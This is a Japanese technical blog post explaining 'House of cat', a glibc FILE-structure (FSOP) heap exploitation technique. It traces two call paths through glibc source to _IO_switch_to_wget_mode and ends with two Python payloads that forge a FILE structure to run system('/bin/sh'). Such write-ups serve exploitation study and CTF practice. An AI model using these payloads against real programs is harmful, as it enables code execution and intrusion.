🐾

詳説House of cat

2024/11/06に公開

はじめに

House of catとは、8byteのglibc領域への任意書き込みでシェルの実行が可能なFSOP。largebin attackとも相性がいい強力な手法である。この記事は、その詳細な解説記事が消えていたため、備忘録として書いた。

環境

前提条件

  • heapとlibcのアドレスリーク
  • heapへの最低0xe0 byteの書き込み
  • libcへの8byteの任意書き込み

攻撃の流れ

ターゲット

最終的に到達したいポイントは_IO_switch_to_wget_mode_IO_WOVERFLOWである。

wgenops.c
int
_IO_switch_to_wget_mode (FILE *fp)
{
  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
      return EOF;

_IO_WOVERFLOWマクロは以下のように展開される。

fp->_wide_data->_wide_vtable->__overflow(fp, 0xffffffffu)

したがって、fpの指す内容を変更できるとき、任意のコードが実行可能となる。

Call Stack

_IO_switch_to_wget_modeに到達するパスのうち、_IO_flush_all_lockp__malloc_assertを経由するものを紹介する。

以下は_IO_flush_all_lockp経由で到達する際のCall Stack。_IO_list_allを書き換えて、main関数からexit関数を呼び出したり、returnをすることで到達できる。

_IO_switch_to_wget_mode
_IO_wfile_seekoff+109
_IO_flush_all_lockp+226
_IO_cleanup+46
__run_exit_handlers+434
on_exit

以下は__malloc_assertを経由して_IO_switch_to_wget_modeに到達する際のCall Stack。stderrを書き換えて、mallocでエラーを起こすことで到達できる。

_IO_switch_to_wget_mode
_IO_wfile_seekoff+109
fflush+122
__malloc_assert+85
sysmalloc+2151
_int_malloc+3885
malloc+450

パスを追う

_IO_flush_all_lockp経由のパスを追う。
main関数からexit関数を呼び出したり、returnをすると、_IO_flush_all_lockpが呼ばれる。

_IO_flush_all_lockp

int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  FILE *fp;

#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif

  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    {
      run_fp = fp;
      if (do_lock)
	_IO_flockfile (fp);

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF) // #1
	result = EOF;

fp = (FILE *) _IO_list_allとしたあとで、_IO_write_ptrのチェックがある。したがって、このパスでは、_IO_list_allに偽造したFILE構造体のポインタを書き込む。前述の条件を満たすと、#1で_IO_OVERFLOWが呼ばれる。これは次のように展開される。

&& ((IO_validate_vtable (_IO_CAST_FIELD_ACCESS ((fp), struct _IO_FILE_plus, vtable)))->__overflow) (fp, (-1)) == EOF)

IO_validate_vtableとは_IO_FILE_plusvtableメンバが正常(に見える)かをチェックする関数[1][2]。詳細は省くが、大事なのはvtableメンバの値を正常な値からずらすことで、vtable内の任意の関数を呼べるということである(それ以外を呼ぼうとするとプログラムが強制終了される)。
この攻撃では、_IO_wfile_seekoffを呼び出したい。正常なfp->vtable_IO_wfile_jumpsを指している(内容は以下を参照)。fp->vtable->__overflowというのはfp->vtable + 0x18byteであるので、fp->vtable_IO_wfile_jumps + 0x30とすることで、fp->vtable->__overflow_IO_wfile_seekoffとなる。

_IO_wfile_jumps ◂— 0
_IO_wfile_jumps+8 ◂— 0
_IO_wfile_jumps+16 —▸ _IO_file_finish
_IO_wfile_jumps+24 —▸ _IO_wfile_overflow
_IO_wfile_jumps+32 —▸ _IO_wfile_underflow
_IO_wfile_jumps+40 —▸ _IO_wdefault_uflow
_IO_wfile_jumps+48 —▸ _IO_wdefault_pbackfail
_IO_wfile_jumps+56 —▸ _IO_wfile_xsputn
_IO_wfile_jumps+64 —▸ _IO_file_xsgetn
_IO_wfile_jumps+72 —▸ _IO_wfile_seekoff
_IO_wfile_jumps+80 —▸ _IO_default_seekpos
_IO_wfile_jumps+88 —▸ _IO_file_setbuf
_IO_wfile_jumps+96 —▸ _IO_wfile_sync
_IO_wfile_jumps+104 —▸ _IO_wfile_doallocate
_IO_wfile_jumps+112 —▸ _IO_file_read
_IO_wfile_jumps+120 —▸ _IO_file_write@@GLIBC_2.2.5
_IO_wfile_jumps+128 —▸ _IO_file_seek
_IO_wfile_jumps+136 —▸ _IO_file_close
_IO_wfile_jumps+144 —▸ _IO_file_stat
_IO_wfile_jumps+152 —▸ _IO_default_showmanyc
_IO_wfile_jumps+160 —▸ _IO_default_imbue

したがって、ここで満たすべき条件は以下2つのどちらか。

  1. fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
  2. fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)

_IO_wfile_seekoff

off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
  off64_t result;
  off64_t delta, new_offset;
  long int count;

  if (mode == 0)
    return do_ftell_wide (fp);

()

  bool was_writing = ((fp->_wide_data->_IO_write_ptr
		       > fp->_wide_data->_IO_write_base)
		      || _IO_in_put_mode (fp));

  if (was_writing && _IO_switch_to_wget_mode (fp)) // #2
    return WEOF;

#2に目的の関数が存在する。ここに至るまでに満たすべき条件は以下の通り。
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
これは、1つ前の関数が満たすべき条件の2つ目と一致するので、この攻撃ではこちらの条件を満たすようにFILE構造体を偽造する。

_IO_switch_to_wget_mode

再掲となるが、_IO_switch_to_wget_modeのコードを載せておく。

int
_IO_switch_to_wget_mode (FILE *fp)
{
  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
      return EOF;

ここで満たすべき条件も前の関数と一致している。すなわち、fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_baseであればよい。ここで、前述の通り、fpを引数として任意の関数が呼べるため、system("/bin/sh")setcontextを使ったROP[3]を実行することができる。


__malloc_assert経由のパスを追う。この関数はmallocでエラーが発生したときに呼ばれる。つまり、Double freeやTopのfreeを起こすことで到達できる。

__malloc_assert

static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
		 const char *function)
{
  (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
		     __progname, __progname[0] ? ": " : "",
		     file, line,
		     function ? function : "", function ? ": " : "",
		     assertion);
  fflush (stderr); // #3
  abort ();
}

#3でstderrを引数にfflushを呼んでいる。(__fxprintffp->_lockにアクセスするので、アクセス可能なアドレスに設定する)

fflush

int
_IO_fflush (FILE *fp)
{
  if (fp == NULL)
    return _IO_flush_all ();
  else
    {
      int result;
      CHECK_FILE (fp, EOF);
      _IO_acquire_lock (fp);
      result = _IO_SYNC (fp) ? EOF : 0; // #4
      _IO_release_lock (fp);
      return result;
    }
}

#4に存在する_IO_SYNCは以下のように展開される。

      result = ((IO_validate_vtable (_IO_CAST_FIELD_ACCESS ((fp), struct _IO_FILE_plus, vtable)))->__sync) (fp) ? EOF : 0;

ここでfp->vtable->__syncfp->vtable + 0x60byteであるので、fp->vtable_IO_wfile_jumps - 0x18にすることで、fp->vtable->__sync_IO_wfile_seekoffになる。後は
_IO_flush_all_lockpと同様。

Exploit Code

__malloc_assert
    payload  = b"/bin/sh".ljust(0x10, b'\0')
    payload += p64(libc.sym["system"]) # _wide_data->_IO_write_ptr
    payload += b"\x00" * (0x88 - len(payload))
    payload += p64(fake_io + 0x28) # lock (writable area)
    payload += b"\x00" * (0xa0 - len(payload))
    payload += p64(fake_io - 0x10) # _wide_data
    payload += b"\x00" * (0xc0 - len(payload))
    payload += p32(1) # _mode
    payload += b"\x00" * (0xd0 - len(payload))
    payload += p64(fake_io - 0x8) # _wide_data->vtable
    payload += p64(libc.sym["_IO_wfile_jumps"] + 0x48 - 0x60)
_IO_flush_all_lockp
    payload  = b"/bin/sh".ljust(8, b'\0')
    payload += p64(1)
    payload += p64(libc.sym["system"]) # _wide_data->_IO_write_ptr
    payload += b"\x00" * (0xa0 - len(payload))
    payload += p64(fake_io - 0x10) # _wide_data
    payload += b"\x00" * (0xc0 - len(payload))
    payload += p32(1) # _mode
    payload += b"\x00" * (0xd0 - len(payload))
    payload += p64(fake_io - 0x8) # _wide_data->vtable
    payload += p64(libc.sym["_IO_wfile_jumps"] + 0x48 - 0x18)

終わりに

House of cat、名前がかわいいので流行らせていきたい

脚注
  1. https://dhavalkapil.com/blogs/FILE-Structure-Exploitation/ ↩︎

  2. https://ptr-yudai.hatenablog.com/entry/2019/02/12/000202 ↩︎

  3. https://www.anquanke.com/post/id/235598 ↩︎

Discussion